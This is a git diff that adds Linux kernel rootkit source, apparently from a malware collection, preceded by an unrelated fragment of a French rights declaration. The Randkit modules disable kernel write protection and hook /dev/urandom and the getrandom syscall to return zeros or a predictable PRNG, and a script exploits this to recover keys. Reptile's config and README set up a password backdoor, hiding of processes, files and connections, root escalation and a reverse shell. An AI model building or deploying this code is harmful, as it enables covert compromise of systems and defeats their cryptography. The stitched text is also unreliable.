d'administration, une contribution commune est indispensable : elle doit tre galement rpartie entre tous les citoyens, en raison de leurs facults. + +Art. 14. Tous les Citoyens ont le droit de constater, par eux-mmes ou par leurs reprsentants, la ncessit de la contribution publique, de la consentir librement, d'en suivre l'emploi, et d'en dterminer la quotit, l'assiette, le recouvrement et la dure. + +Art. 15. La Socit a le droit de demander compte tout Agent public de son administration. + +Art. 16. Toute Socit dans laquelle la garantie des Droits n'est pas assure, ni la sparation des Pouvoirs dtermine, n'a point de Constitution. + +Art. 17. La proprit tant un droit inviolable et sacr, nul ne peut en tre priv, si ce n'est lorsque la ncessit publique, lgalement constate, l'exige videmment, et sous la condition d'une juste et pralable indemnit. diff --git a/Linux/Rootkits/Randkit/examples/unrandom.py b/Linux/Rootkits/Randkit/examples/unrandom.py new file mode 100644 index 0000000..ee02d49 --- /dev/null +++ b/Linux/Rootkits/Randkit/examples/unrandom.py @@ -0,0 +1,101 @@ +#!/usr/bin/env python + +import os +import struct +import subprocess +import sys + +class Xor128(object): + MASK = 2**32 - 1 + + def __init__(self, x=123456789, y=362436069, z=521288629, w=88675123): + self.x = x + self.y = y + self.z = z + self.w = w + + @classmethod + def init_from_urandom(cls): + rnd = os.urandom(16) + x = struct.unpack('> idx + idx <<= 1 + + return x & cls.MASK + + def forward(self): + t = self.x ^ self.x << 11 + t &= self.MASK + self.x = self.y + self.y = self.z + self.z = self.w + + self.w = (self.w ^ (self.w >> 19)) ^ (t ^ (t >> 8)) + self.w &= self.MASK + + return self.w + + def backward(self): + tmp = self.w ^ self.z ^ (self.z >> 19) + t = self.reverse_xor_rshift(tmp, 8) + + self.w = self.z + self.z = self.y + self.y = self.x + self.x = self.reverse_xor_lshift(t, 11) + + return self.w + + def print_state(self): + print 'x=%d\ny=%d\nz=%d\nw=%d\n' % (self.x, self.y, self.z, self.w) + + def output_state(self): + return struct.pack('>sys.stderr, '[!] syntax: %s ' % sys.argv[0] + raise SystemExit(-1) + + p = Xor128.init_from_urandom() + p.gpg_decrypt(sys.argv[1], sys.argv[2]) diff --git a/Linux/Rootkits/Randkit/fops/Makefile b/Linux/Rootkits/Randkit/fops/Makefile new file mode 100644 index 0000000..70c5949 --- /dev/null +++ b/Linux/Rootkits/Randkit/fops/Makefile @@ -0,0 +1,11 @@ +obj-m += randkit_fops.o + +all: + make -C /lib/modules/$(shell uname -r)/build M=$(PWD) modules + +clean: + make -C /lib/modules/$(shell uname -r)/build M=$(PWD) clean + +test: + sudo insmod randkit_fops.ko urandom_fops_addr=0x$(shell grep urandom_fops /boot/System.map-$(shell uname -r) | cut -d' ' -f1) + sudo rmmod randkit_fops diff --git a/Linux/Rootkits/Randkit/fops/randkit_fops.c b/Linux/Rootkits/Randkit/fops/randkit_fops.c new file mode 100644 index 0000000..20345a6 --- /dev/null +++ b/Linux/Rootkits/Randkit/fops/randkit_fops.c @@ -0,0 +1,149 @@ +#include +#include +#include +#include +#include +#include +#include + +MODULE_LICENSE("GPL"); +MODULE_AUTHOR("Vincent Rasneur "); +MODULE_DESCRIPTION("Randkit fops: access to struct file_operations * pointer from /dev/urandom"); + +static unsigned long urandom_fops_addr; +module_param(urandom_fops_addr, ulong, 0); + +static struct file_operations *rk_param_get_fops(void) +{ + return (struct file_operations *)urandom_fops_addr; +} + +static struct file_operations *rk_inode_get_fops(struct inode *inode) +{ + struct file fp; + struct address_space mapping; + + memset(&fp, 0, sizeof(fp)); + memset(&mapping, 0, sizeof(mapping)); + // memory_open (called by chrdev_open) + // needs the f_mapping pointer on old 3.x kernels + fp.f_mapping = &mapping; + + // inode.i_fop->open == chrdev_open + inode->i_fop->open(inode, &fp); + + // remove the const correctness + return (struct file_operations *)fp.f_op; +} + +static struct file_operations *rk_chrdev_get_fops(int minor) +{ + struct inode inode; + struct file_operations *fop = NULL; + + memset(&inode, 0, sizeof(inode)); + // chrdev_open needs a doubly linked list here + INIT_LIST_HEAD(&inode.i_devices); + // get a pointer to chrdev_open + init_special_inode(&inode, S_IFCHR, MKDEV(1, minor)); + + if(inode.i_fop != NULL && inode.i_fop->open != NULL) { + // call chrdev_open, that will call memory_open + fop = rk_inode_get_fops(&inode); + } + + list_del(&inode.i_devices); + + return fop; +} + +static struct file_operations *rk_filp_get_fops(char const *name) +{ + struct file *fp = filp_open(name, O_RDONLY, 0); + struct file_operations *fop = NULL; + + if(!IS_ERR(fp)) { + // remove the const correctness + fop = (struct file_operations *)fp->f_op; + + filp_close(fp, NULL); + } + + return fop; +} + +static struct file_operations *rk_path_get_fops(char const *name) +{ + struct path path; + struct file_operations *fop = NULL; + struct inode *inode = NULL; + + int ret = kern_path(name, LOOKUP_FOLLOW, &path); + if(ret == 0) { + inode = d_backing_inode(path.dentry); + + if(inode->i_fop != NULL && inode->i_fop->open != NULL) { + // call chrdev_open, that will call memory_open + fop = rk_inode_get_fops(inode); + } + } + + return fop; +} + +static struct file_operations *rk_kallsyms_get_fops(char const *name) +{ + return (struct file_operations *)kallsyms_lookup_name(name); +} + +static void rk_check_fops(struct file_operations *fops, char const *way) +{ + if(fops == NULL) { + printk(KERN_INFO "using '%s': cannot find the fops\n", way); + } + else if(fops->read != NULL) + { + printk(KERN_INFO "using '%s': found fops at %p, read is at %p\n", way, fops, fops->read); + } + else { + printk(KERN_INFO "using '%s': found fops at %p, read not found", way, fops); + } +} + +static void rk_test_fops(void) +{ + struct file_operations *urandom_fops_ptr = NULL; + printk(KERN_INFO "getting pointer to urandom fops\n"); + + urandom_fops_ptr = rk_chrdev_get_fops(9); + rk_check_fops(urandom_fops_ptr, "chrdev"); + + urandom_fops_ptr = rk_kallsyms_get_fops("urandom_fops"); + rk_check_fops(urandom_fops_ptr, "kallsyms"); + + urandom_fops_ptr = rk_path_get_fops("/dev/urandom"); + rk_check_fops(urandom_fops_ptr, "path"); + + urandom_fops_ptr = rk_filp_get_fops("/dev/urandom"); + rk_check_fops(urandom_fops_ptr, "filp"); + + urandom_fops_ptr = rk_param_get_fops(); + rk_check_fops(urandom_fops_ptr, "param"); + + printk(KERN_INFO "getting done\n"); +} + +static int __init rk_init(void) +{ + rk_test_fops(); + + return 0; +} + +static void __exit rk_cleanup(void) +{ + +} + +module_init(rk_init); +module_exit(rk_cleanup); diff --git a/Linux/Rootkits/Randkit/tests/Makefile b/Linux/Rootkits/Randkit/tests/Makefile new file mode 100644 index 0000000..aa9836a --- /dev/null +++ b/Linux/Rootkits/Randkit/tests/Makefile @@ -0,0 +1,10 @@ +FLAGS := -std=gnu11 +PROGS:= fdrandom getrandom writefdrandom xor128 + +all: $(PROGS) + +$(PROGS): %: %.c + gcc $(FLAGS) -o $@ $< + +clean: + rm -f $(PROGS) diff --git a/Linux/Rootkits/Randkit/tests/fdrandom.c b/Linux/Rootkits/Randkit/tests/fdrandom.c new file mode 100644 index 0000000..74df290 --- /dev/null +++ b/Linux/Rootkits/Randkit/tests/fdrandom.c @@ -0,0 +1,21 @@ +#include +#include +#include +#include + +#include + +int main(void) +{ + unsigned char buf[6] = { 1, 2, 3, 4, 5, 6 }; + int fd = open("/dev/urandom", O_RDONLY); + ssize_t ret = read(fd, buf, sizeof(buf)); + + printf("ret: %d\n", ret); + + for(int i = 0; i < sizeof(buf); i++) { + printf("random (%d): %02X\n", i, buf[i]); + } + + close(fd); +} diff --git a/Linux/Rootkits/Randkit/tests/getrandom.c b/Linux/Rootkits/Randkit/tests/getrandom.c new file mode 100644 index 0000000..7db2931 --- /dev/null +++ b/Linux/Rootkits/Randkit/tests/getrandom.c @@ -0,0 +1,29 @@ +#define _GNU_SOURCE + +#include + +#include +#include +#include + + +int main(void) +{ +#ifndef __NR_getrandom + puts("getrandom syscall not supported!"); + + return -1; +#else + unsigned char buf[6] = { 1, 2, 3, 4, 5, 6 };; + + long ret = syscall(__NR_getrandom, buf, sizeof(buf), 0); + + printf("ret: %d\n", ret); + + for(int i = 0; i < 6; i++) { + printf("random (%d): %02X\n", i, buf[i]); + } + + return 0; +#endif +} diff --git a/Linux/Rootkits/Randkit/tests/writefdrandom.c b/Linux/Rootkits/Randkit/tests/writefdrandom.c new file mode 100644 index 0000000..efdce7d --- /dev/null +++ b/Linux/Rootkits/Randkit/tests/writefdrandom.c @@ -0,0 +1,21 @@ +#include +#include +#include +#include + +#include + +int main(void) +{ + unsigned char buf[6] = { 'a', 'z', 'e', 'r', 't', '\n' }; + int fd = open("/dev/urandom", O_WRONLY); + ssize_t ret = write(fd, buf, sizeof(buf)); + + printf("ret: %d\n", ret); + + for(int i = 0; i < sizeof(buf); i++) { + printf("random (%d): %02X\n", i, buf[i]); + } + + close(fd); +} diff --git a/Linux/Rootkits/Randkit/tests/xor128.c b/Linux/Rootkits/Randkit/tests/xor128.c new file mode 100644 index 0000000..ac29a3e --- /dev/null +++ b/Linux/Rootkits/Randkit/tests/xor128.c @@ -0,0 +1,39 @@ +#include +#include +#include +#include +#include +#include + +uint32_t xor128() { + static uint32_t x = 123456789; + static uint32_t y = 362436069; + static uint32_t z = 521288629; + static uint32_t w = 88675123; + + uint32_t t; + + t = x ^ (x << 11); + x = y; + y = z; + z = w; + w = (w ^ (w >> 19)) ^ (t ^ (t >> 8)); + + return w; +} + +int main(void) +{ + int f = open("xor128.random", O_CREAT | O_WRONLY); + + for(int i = 0; i < 100; i++) + { + uint32_t rnd = xor128(); + printf("%" PRIu32 "\n", rnd); + + write(f, &rnd, sizeof(rnd)); + } + close(f); + + return 0; +} diff --git a/Linux/Rootkits/Randkit/xor128/Makefile b/Linux/Rootkits/Randkit/xor128/Makefile new file mode 100644 index 0000000..fed664d --- /dev/null +++ b/Linux/Rootkits/Randkit/xor128/Makefile @@ -0,0 +1,12 @@ +obj-m += randkit_xor128.o + +all: + make -C /lib/modules/$(shell uname -r)/build M=$(PWD) modules + +clean: + make -C /lib/modules/$(shell uname -r)/build M=$(PWD) clean + +test: + sudo insmod randkit_xor128.ko + head -c16 /dev/urandom | hexdump + sudo rmmod randkit_xor128 diff --git a/Linux/Rootkits/Randkit/xor128/randkit_xor128.c b/Linux/Rootkits/Randkit/xor128/randkit_xor128.c new file mode 100644 index 0000000..4e204ae --- /dev/null +++ b/Linux/Rootkits/Randkit/xor128/randkit_xor128.c @@ -0,0 +1,347 @@ +#include +#include +#include +#include +#include +#include + +MODULE_LICENSE("GPL"); +MODULE_AUTHOR("Vincent Rasneur "); +MODULE_DESCRIPTION("Randkit xor128: replaces /dev/(u)random with a xor128 PRNG"); + +static struct file_operations *urandom_fops_ptr; +static struct file_operations *random_fops_ptr; + +static struct file_operations saved_urandom_fops; +static struct file_operations saved_random_fops; + +typedef long (*rk_sys_getrandom_fun)(char __user *, size_t, unsigned int); + +static void **saved_syscall_table; +static rk_sys_getrandom_fun saved_sys_getrandom; + +// read/write protection, adapted from grsecurity + +static inline unsigned long rk_disable_wp(void) +{ + unsigned long cr0; + + preempt_disable(); + + barrier(); + cr0 = read_cr0(); + write_cr0(cr0 & ~X86_CR0_WP); + barrier(); + + return cr0; +} + +static inline void rk_enable_wp(unsigned long cr0) +{ + barrier(); + write_cr0(cr0); + barrier(); + + preempt_enable(); +} + +#define RK_DISABLE_WP \ + { \ + unsigned long _rk_cr0; \ + _rk_cr0 = rk_disable_wp(); + +#define RK_ENABLE_WP \ + rk_enable_wp(_rk_cr0); \ + } + +static DEFINE_SPINLOCK(rk_spinlock); + +struct xor128_state +{ + u32 x; + u32 y; + u32 z; + u32 w; +}; +// default values from the xor128 paper +struct xor128_state rk_state = { 123456789, 362436069, 521288629, 88675123 }; + +// initial xor128 state can be also given by module parameters +static u32 rk_initial_state[4]; +static int rk_initial_state_count; +module_param_array(rk_initial_state, uint, &rk_initial_state_count, 0); + +// XOR128 PRNG (Xorshift family) +static u32 rk_xor128(void) { + unsigned long flags; + u32 t; + + spin_lock_irqsave(&rk_spinlock, flags); + t = rk_state.x ^ (rk_state.x << 11); + + rk_state.x = rk_state.y; + rk_state.y = rk_state.z; + rk_state.z = rk_state.w; + + rk_state.w = (rk_state.w ^ (rk_state.w >> 19)) ^ (t ^ (t >> 8)); + spin_unlock_irqrestore(&rk_spinlock, flags); + + return rk_state.w; +} + +static void rk_set_initial_state(void) +{ + if(rk_initial_state_count != 0) { + rk_state.x = rk_initial_state[0]; + rk_state.y = rk_initial_state[1]; + rk_state.z = rk_initial_state[2]; + rk_state.w = rk_initial_state[3]; + } + + printk(KERN_INFO "initial state: x=%u y=%u z=%u w=%u\n", + rk_state.x, rk_state.y, rk_state.z, rk_state.w); +} + +static void rk_set_state(struct xor128_state *state) +{ + unsigned long flags; + + spin_lock_irqsave(&rk_spinlock, flags); + + rk_state = *state; + printk(KERN_INFO "new state: x=%u y=%u z=%u w=%u\n", + rk_state.x, rk_state.y, rk_state.z, rk_state.w); + + spin_unlock_irqrestore(&rk_spinlock, flags); +} + +static struct file_operations *rk_get_fops(int minor) +{ + struct inode inode; + struct file fp; + struct address_space mapping; + + memset(&inode, 0, sizeof(inode)); + // chrdev_open needs a doubly linked list here + INIT_LIST_HEAD(&inode.i_devices); + // get a pointer to chrdev_open + init_special_inode(&inode, S_IFCHR, MKDEV(1, minor)); + + memset(&fp, 0, sizeof(fp)); + memset(&mapping, 0, sizeof(mapping)); + // memory_open (called by chrdev_open) + // needs the f_mapping pointer on old 3.x kernels + fp.f_mapping = &mapping; + + // inode.i_fop->open == chrdev_open + inode.i_fop->open(&inode, &fp); + + // for urandom, fp.f_op->read is urandom_read + printk(KERN_INFO "read fops is at: %p\n", (void *)fp.f_op->read); + + list_del(&inode.i_devices); + + // remove the const correctness + return (struct file_operations *)fp.f_op; +} + +static void const *rk_memmem(void const *haystack, size_t hl, + void const *needle, size_t nl) +{ + void const *res = NULL; + + if(nl <= hl) { + int idx = 0; + char const *buf = haystack; + + for(idx = 0; idx <= hl - nl; idx++) { + if(memcmp(buf, needle, nl) == 0) { + res = buf; + break; + } + + buf++; + } + } + + return res; +} + +static void **rk_find_syscall_table(void) +{ +#define OFFSET_SYSCALL 256 + void **syscall_table = NULL; + unsigned long syscall_entry; + char const *buf = NULL; + + // get the entry_SYSCALL_64 address + rdmsrl(MSR_LSTAR, syscall_entry); + // find the sys_call_table reference in the code + buf = rk_memmem((void const *)syscall_entry, OFFSET_SYSCALL, "\xff\x14\xc5", 3); + if(buf != NULL) + { + // convert to pointer + unsigned long ptr = *(unsigned long *)(buf + 3); + syscall_table = (void **)(0xFFFFFFFF00000000 | ptr); + } + + return syscall_table; +} + +static ssize_t rk_fill_buf(char __user *buf, size_t nbytes) +{ + size_t idx = 0; + size_t count = nbytes / sizeof(u32); + size_t rem = nbytes % sizeof(u32); + + if(rem != 0) { + count++; + } + + while(count != 0) { + u32 rnd = rk_xor128(); + size_t rnd_sz = sizeof(rnd); + + if(count == 1 && rem != 0) { + rnd_sz = rem; + } + + if(copy_to_user(buf + idx, &rnd, rnd_sz) != 0) { + return -1; + } + + idx += sizeof(u32); + count--; + } + + printk(KERN_INFO "wrote %lu bytes of random data\n", nbytes); + + return nbytes; +} + +static ssize_t rk_random_read(struct file *file, char __user *buf, size_t nbytes, loff_t *ppos) +{ + return rk_fill_buf(buf, nbytes); +} + +static ssize_t rk_random_write(struct file *file, const char __user *buf, + size_t count, loff_t *ppos) +{ + char tmp[65]; + size_t len = min(count, sizeof(tmp) - 1); + struct xor128_state state; + + if(copy_from_user(tmp, buf, len) != 0) { + return -EFAULT; + } + + tmp[len] = '\0'; + + if(sscanf(tmp, "rk: seed %u %u %u %u", &state.x, &state.y, &state.z, &state.w) == 4) { + rk_set_state(&state); + + return count; + } + else { + return saved_urandom_fops.write(file, buf, count, ppos); + } +} + +static void rk_patch_fops(void) +{ + printk(KERN_INFO "saving random fops\n"); + + urandom_fops_ptr = rk_get_fops(9); + random_fops_ptr = rk_get_fops(8); + + saved_urandom_fops = *urandom_fops_ptr; + saved_random_fops = *random_fops_ptr; + + printk(KERN_INFO "patching random fops\n"); + + RK_DISABLE_WP + urandom_fops_ptr->read = rk_random_read; + urandom_fops_ptr->write = rk_random_write; + + random_fops_ptr->read = rk_random_read; + random_fops_ptr->write = rk_random_write; + RK_ENABLE_WP + + printk(KERN_INFO "patching done\n"); +} + +static asmlinkage long rk_sys_getrandom(char __user * buf, size_t count, unsigned int flags) +{ + return (long)rk_fill_buf(buf, count); +} + +static void rk_patch_getrandom(void) +{ +#ifdef __NR_getrandom + saved_syscall_table = rk_find_syscall_table(); + + if(saved_syscall_table != NULL) + { + printk(KERN_INFO "found syscall table at: %p\n", saved_syscall_table); + + printk(KERN_INFO "saving getrandom syscall\n"); + + saved_sys_getrandom = (rk_sys_getrandom_fun)saved_syscall_table[__NR_getrandom]; + + printk(KERN_INFO "overwriting getrandom syscall\n"); + + RK_DISABLE_WP + saved_syscall_table[__NR_getrandom] = (void *)rk_sys_getrandom; + RK_ENABLE_WP + + printk(KERN_INFO "overwriting done\n"); + } +#endif // __NR_getrandom +} + +static int __init rk_init(void) +{ + rk_set_initial_state(); + + rk_patch_fops(); + rk_patch_getrandom(); + + return 0; +} + +static void rk_restore_fops(void) +{ + printk(KERN_INFO "restoring random fops\n"); + + RK_DISABLE_WP + *urandom_fops_ptr = saved_urandom_fops; + *random_fops_ptr = saved_random_fops; + RK_ENABLE_WP + + printk(KERN_INFO "restoring done\n"); +} + +static void rk_restore_getrandom(void) +{ +#ifdef __NR_getrandom + if(saved_syscall_table != NULL && saved_sys_getrandom != NULL) + { + printk(KERN_INFO "restoring getrandom syscall\n"); + + RK_DISABLE_WP + saved_syscall_table[__NR_getrandom] = (void *)saved_sys_getrandom; + RK_ENABLE_WP + + printk(KERN_INFO "restoring done\n"); + } +#endif +} + +static void __exit rk_cleanup(void) +{ + rk_restore_fops(); + rk_restore_getrandom(); +} + +module_init(rk_init); +module_exit(rk_cleanup); diff --git a/Linux/Rootkits/Randkit/zero/Makefile b/Linux/Rootkits/Randkit/zero/Makefile new file mode 100644 index 0000000..73ec7fa --- /dev/null +++ b/Linux/Rootkits/Randkit/zero/Makefile @@ -0,0 +1,12 @@ +obj-m += randkit_zero.o + +all: + make -C /lib/modules/$(shell uname -r)/build M=$(PWD) modules + +clean: + make -C /lib/modules/$(shell uname -r)/build M=$(PWD) clean + +test: + sudo insmod randkit_zero.ko + head -c16 /dev/urandom | hexdump + sudo rmmod randkit_zero diff --git a/Linux/Rootkits/Randkit/zero/randkit_zero.c b/Linux/Rootkits/Randkit/zero/randkit_zero.c new file mode 100644 index 0000000..2b08808 --- /dev/null +++ b/Linux/Rootkits/Randkit/zero/randkit_zero.c @@ -0,0 +1,227 @@ +#include +#include +#include +#include +#include + +MODULE_LICENSE("GPL"); +MODULE_AUTHOR("Vincent Rasneur "); +MODULE_DESCRIPTION("Randkit Zero: replaces /dev/(u)random with /dev/zero"); + +static struct file_operations *urandom_fops_ptr; +static struct file_operations *random_fops_ptr; +static struct file_operations *zero_fops_ptr; + +static struct file_operations saved_urandom_fops; +static struct file_operations saved_random_fops; + +typedef long (*rk_sys_getrandom_fun)(char __user *, size_t, unsigned int); + +static void **saved_syscall_table; +static rk_sys_getrandom_fun saved_sys_getrandom; + +// read/write protection, adapted from grsecurity + +static inline unsigned long rk_disable_wp(void) +{ + unsigned long cr0; + + preempt_disable(); + + barrier(); + cr0 = read_cr0(); + write_cr0(cr0 & ~X86_CR0_WP); + barrier(); + + return cr0; +} + +static inline void rk_enable_wp(unsigned long cr0) +{ + barrier(); + write_cr0(cr0); + barrier(); + + preempt_enable(); +} + +#define RK_DISABLE_WP \ + { \ + unsigned long _rk_cr0; \ + _rk_cr0 = rk_disable_wp(); + +#define RK_ENABLE_WP \ + rk_enable_wp(_rk_cr0); \ + } + +static struct file_operations *rk_get_fops(int minor) +{ + struct inode inode; + struct file fp; + struct address_space mapping; + + memset(&inode, 0, sizeof(inode)); + // chrdev_open needs a doubly linked list here + INIT_LIST_HEAD(&inode.i_devices); + // get a pointer to chrdev_open + init_special_inode(&inode, S_IFCHR, MKDEV(1, minor)); + + memset(&fp, 0, sizeof(fp)); + memset(&mapping, 0, sizeof(mapping)); + // memory_open (called by chrdev_open) + // needs the f_mapping pointer on old 3.x kernels + fp.f_mapping = &mapping; + + // inode.i_fop->open == chrdev_open + inode.i_fop->open(&inode, &fp); + + // for urandom, fp.f_op->read is urandom_read + printk(KERN_INFO "read fops is at: %p\n", (void *)fp.f_op->read); + + list_del(&inode.i_devices); + + // remove the const correctness + return (struct file_operations *)fp.f_op; +} + +static void const *rk_memmem(void const *haystack, size_t hl, + void const *needle, size_t nl) +{ + void const *res = NULL; + + if(nl <= hl) { + int idx = 0; + char const *buf = haystack; + + for(idx = 0; idx <= hl - nl; idx++) { + if(memcmp(buf, needle, nl) == 0) { + res = buf; + break; + } + + buf++; + } + } + + return res; +} + +static void **rk_find_syscall_table(void) +{ +#define OFFSET_SYSCALL 256 + void **syscall_table = NULL; + unsigned long syscall_entry; + char const *buf = NULL; + + // get the entry_SYSCALL_64 address + rdmsrl(MSR_LSTAR, syscall_entry); + // find the sys_call_table reference in the code + buf = rk_memmem((void const *)syscall_entry, OFFSET_SYSCALL, "\xff\x14\xc5", 3); + if(buf != NULL) + { + // convert to pointer + unsigned long ptr = *(unsigned long *)(buf + 3); + syscall_table = (void **)(0xFFFFFFFF00000000 | ptr); + } + + return syscall_table; +} + +static void rk_patch_fops(void) +{ + printk(KERN_INFO "saving random fops\n"); + + urandom_fops_ptr = rk_get_fops(9); + random_fops_ptr = rk_get_fops(8); + zero_fops_ptr = rk_get_fops(5); + + saved_urandom_fops = *urandom_fops_ptr; + saved_random_fops = *random_fops_ptr; + + printk(KERN_INFO "patching random fops\n"); + + RK_DISABLE_WP + *urandom_fops_ptr = *zero_fops_ptr; + *random_fops_ptr = *zero_fops_ptr; + RK_ENABLE_WP + + printk(KERN_INFO "patching done\n"); +} + +static asmlinkage long rk_sys_getrandom(char __user * buf, size_t count, unsigned int flags) +{ + if(clear_user(buf, count) != 0) { + return -1; + } + + return (long)count; +} + +static void rk_patch_getrandom(void) +{ +#ifdef __NR_getrandom + saved_syscall_table = rk_find_syscall_table(); + + if(saved_syscall_table != NULL) + { + printk(KERN_INFO "found syscall table at: %p\n", saved_syscall_table); + + printk(KERN_INFO "saving getrandom syscall\n"); + + saved_sys_getrandom = (rk_sys_getrandom_fun)saved_syscall_table[__NR_getrandom]; + + printk(KERN_INFO "overwriting getrandom syscall\n"); + + RK_DISABLE_WP + saved_syscall_table[__NR_getrandom] = (void *)rk_sys_getrandom; + RK_ENABLE_WP + + printk(KERN_INFO "overwriting done\n"); + } +#endif // __NR_getrandom +} + +static int __init rk_init(void) +{ + rk_patch_fops(); + rk_patch_getrandom(); + + return 0; +} + +static void rk_restore_fops(void) +{ + printk(KERN_INFO "restoring random fops\n"); + + RK_DISABLE_WP + *urandom_fops_ptr = saved_urandom_fops; + *random_fops_ptr = saved_random_fops; + RK_ENABLE_WP + + printk(KERN_INFO "restoring done\n"); +} + +static void rk_restore_getrandom(void) +{ +#ifdef __NR_getrandom + if(saved_syscall_table != NULL && saved_sys_getrandom != NULL) + { + printk(KERN_INFO "restoring getrandom syscall\n"); + + RK_DISABLE_WP + saved_syscall_table[__NR_getrandom] = (void *)saved_sys_getrandom; + RK_ENABLE_WP + + printk(KERN_INFO "restoring done\n"); + } +#endif +} + +static void __exit rk_cleanup(void) +{ + rk_restore_fops(); + rk_restore_getrandom(); +} + +module_init(rk_init); +module_exit(rk_cleanup); diff --git a/Linux/Rootkits/Reptile/.gitignore b/Linux/Rootkits/Reptile/.gitignore new file mode 100644 index 0000000..dbe9c82 --- /dev/null +++ b/Linux/Rootkits/Reptile/.gitignore @@ -0,0 +1 @@ +.vscode/ \ No newline at end of file diff --git a/Linux/Rootkits/Reptile/Kconfig b/Linux/Rootkits/Reptile/Kconfig new file mode 100644 index 0000000..8f270ef --- /dev/null +++ b/Linux/Rootkits/Reptile/Kconfig @@ -0,0 +1,90 @@ +mainmenu "Reptile's configuration" + +comment "Chose the features you wanna enable" + +config CONFIG_BACKDOOR + bool "Backdoor" + default y + +menu "Backdoor configuration" + depends on CONFIG_BACKDOOR + + config MAGIC_VALUE + string "Magic value to magic packets" + default "hax0r" + + config PASSWORD + string "Backdoor password" + default "s3cr3t" + + config SRCPORT + int "Source port of magic packets" + default 666 + range 0 65535 + + comment "END" +endmenu + +config CONFIG_FILE_TAMPERING + bool "Hide specific file contents" + default y + +menu "Name used in file tampering tags" + depends on CONFIG_FILE_TAMPERING + + config TAG_NAME + string "Tag name that hide file contents" + default "reptile" + + comment "END" +endmenu + +config CONFIG_HIDE_PROC + bool "Hide process" + default y + +config CONFIG_HIDE_DIR + bool "Hide files and directories" + default y + +menu "Hide name (needed to create Reptile's folder)" + config HIDE + string "Hide name" + default "reptile" + + comment "END" +endmenu + +config CONFIG_HIDE_CONN + bool "Hide TCP and UDP connections" + default y + +config CONFIG_AUTO_HIDE + bool "Hide kernel module itself" + default y + +config CONFIG_GIVE_ROOT + bool "Enable give root to a process run by an unprivileged user" + default y + +config CONFIG_RSHELL_ON_START + bool "Would you like to launch the reverse shell daemon on start?" + default n + +menu "Reverse shell daemon configuration" + depends on CONFIG_RSHELL_ON_START + + config LHOST + string "Host to receive the reverse shell" + default "127.0.0.1" + + config LPORT + string "Port get the reverse shell" + default "4444" + + config INTERVAL + string "How long is your interval? (in seconds)" + default "1800" + + comment "END" +endmenu diff --git a/Linux/Rootkits/Reptile/Makefile b/Linux/Rootkits/Reptile/Makefile new file mode 100644 index 0000000..74de68f --- /dev/null +++ b/Linux/Rootkits/Reptile/Makefile @@ -0,0 +1,67 @@ +CC := gcc +RM = rm -rf +SHELL := /bin/bash +PWD := $(shell pwd) +KERNEL := /lib/modules/$(shell uname -r)/build +CLIENT_DIR ?= $(PWD)/userland +CONFIG_SCRIPT ?= $(PWD)/scripts/kconfig/config.sh +CONFIG_FILE ?= $(PWD)/.config +GEN_RANDOM ?= $(PWD)/scripts/random.sh +BUILD_DIR ?= $(PWD)/output +BUILD_DIR_MAKEFILE ?= $(BUILD_DIR)/Makefile +MODULE_DIR ?= $(PWD)/kernel +ENCRYPT_SRC ?= $(PWD)/kernel/encrypt/encrypt.c +ENCRYPT ?= $(BUILD_DIR)/encrypt +KMATRYOSHKA_DIR ?= $(PWD)/kernel/kmatryoshka +PARASITE ?= $(BUILD_DIR)/reptile_module.ko +RAND1 = 0x$(shell cat /dev/urandom | head -c 4 | hexdump '-e"%x"') +RAND2 = 0x$(shell cat /dev/urandom | head -c 4 | hexdump '-e"%x"') +INCLUDE ?= -I$(PWD)/kernel/include +LOADER ?= $(PWD)/kernel/loader/loader.c +INSTALLER ?= $(PWD)/scripts/installer.sh + +all: $(BUILD_DIR_MAKEFILE) userland_bin $(ENCRYPT) module kmatryoshka reptile + +reptile: $(LOADER) + @ $(ENCRYPT) $(BUILD_DIR)/reptile.ko $(RAND2) > $(BUILD_DIR)/reptile.ko.inc + @ echo " CC $(BUILD_DIR)/$@" + @ $(CC) $(INCLUDE) -I$(BUILD_DIR) $< -o $(BUILD_DIR)/$@ + +kmatryoshka: + @ $(ENCRYPT) $(PARASITE) $(RAND1) > $(BUILD_DIR)/parasite_blob.inc + @ $(MAKE) -C $(KERNEL) M=$(BUILD_DIR) src=$(KMATRYOSHKA_DIR) + +module: + @ $(MAKE) -C $(KERNEL) M=$(BUILD_DIR) src=$(MODULE_DIR) + +$(ENCRYPT): $(ENCRYPT_SRC) + @ echo " CC $(ENCRYPT)" + @ $(CC) $(INCLUDE) -std=c99 $< -o $@ + +$(BUILD_DIR): + @ mkdir -p $(BUILD_DIR) + +$(BUILD_DIR_MAKEFILE): $(BUILD_DIR) + @ touch $@ + +config: + @ $(SHELL) $(CONFIG_SCRIPT) $@ + @ $(SHELL) $(GEN_RANDOM) $(CONFIG_FILE) + +%config: + @ $(SHELL) $(CONFIG_SCRIPT) $@ + @ $(SHELL) $(GEN_RANDOM) $(CONFIG_FILE) + +userland_bin: + @ $(MAKE) -C $(CLIENT_DIR) EXTRA_FLAGS=-D_REPTILE_ + +install: + @ $(SHELL) $(INSTALLER) + +client: $(BUILD_DIR) + @ $(MAKE) -C $(CLIENT_DIR) packet listener client + +.PHONY : clean module config + +clean: + @ $(RM) $(BUILD_DIR) $(CONFIG_FILE) \ No newline at end of file diff --git a/Linux/Rootkits/Reptile/README.md b/Linux/Rootkits/Reptile/README.md new file mode 100644 index 0000000..7dc867d --- /dev/null +++ b/Linux/Rootkits/Reptile/README.md @@ -0,0 +1,73 @@ +# Reptile + + + +




+




+ +## Tested on + +**Debian 9**: 4.9.0-8-amd64
+**Debian 10**: 4.19.0-8-amd64
+**Ubuntu 18.04.1 LTS**: 4.15.0-38-generic
+**Kali Linux**: 4.18.0-kali2-amd64
+**Centos 6.10**: 2.6.32-754.6.3.el6.x86_64
+**Centos 7**: 3.10.0-862.3.2.el7.x86_64
+**Centos 8**: 4.18.0-147.5.1.el8_1.x86_64 + +## Features + +- Give root to unprivileged users +- Hide files and directories +- Hide processes +- Hide himself +- Hide TCP/UDP connections +- Hidden boot persistence +- File content tampering +- Some obfuscation techniques +- ICMP/UDP/TCP port-knocking backdoor +- Full TTY/PTY shell with file transfer +- Client to handle Reptile Shell +- Shell connect back each X times (not default) + +## Install +``` +apt install build-essential libncurses-dev linux-headers-$(uname -r) +git clone https://github.com/f0rb1dd3n/Reptile.git +cd Reptile +make menuconfig # or 'make config' or even 'make defconfig' +make +make install +``` +More details about the installation see [Wiki](https://github.com/f0rb1dd3n/Reptile/wiki/Install) +## Uninstall + +When you got a sucessfully installation, the way to remove that will be shown in the screen + +## Usage + +See [Wiki](https://github.com/f0rb1dd3n/Reptile/wiki/Usage) to usage details. So, read the fucking manual before opening an issue! + +## Warning 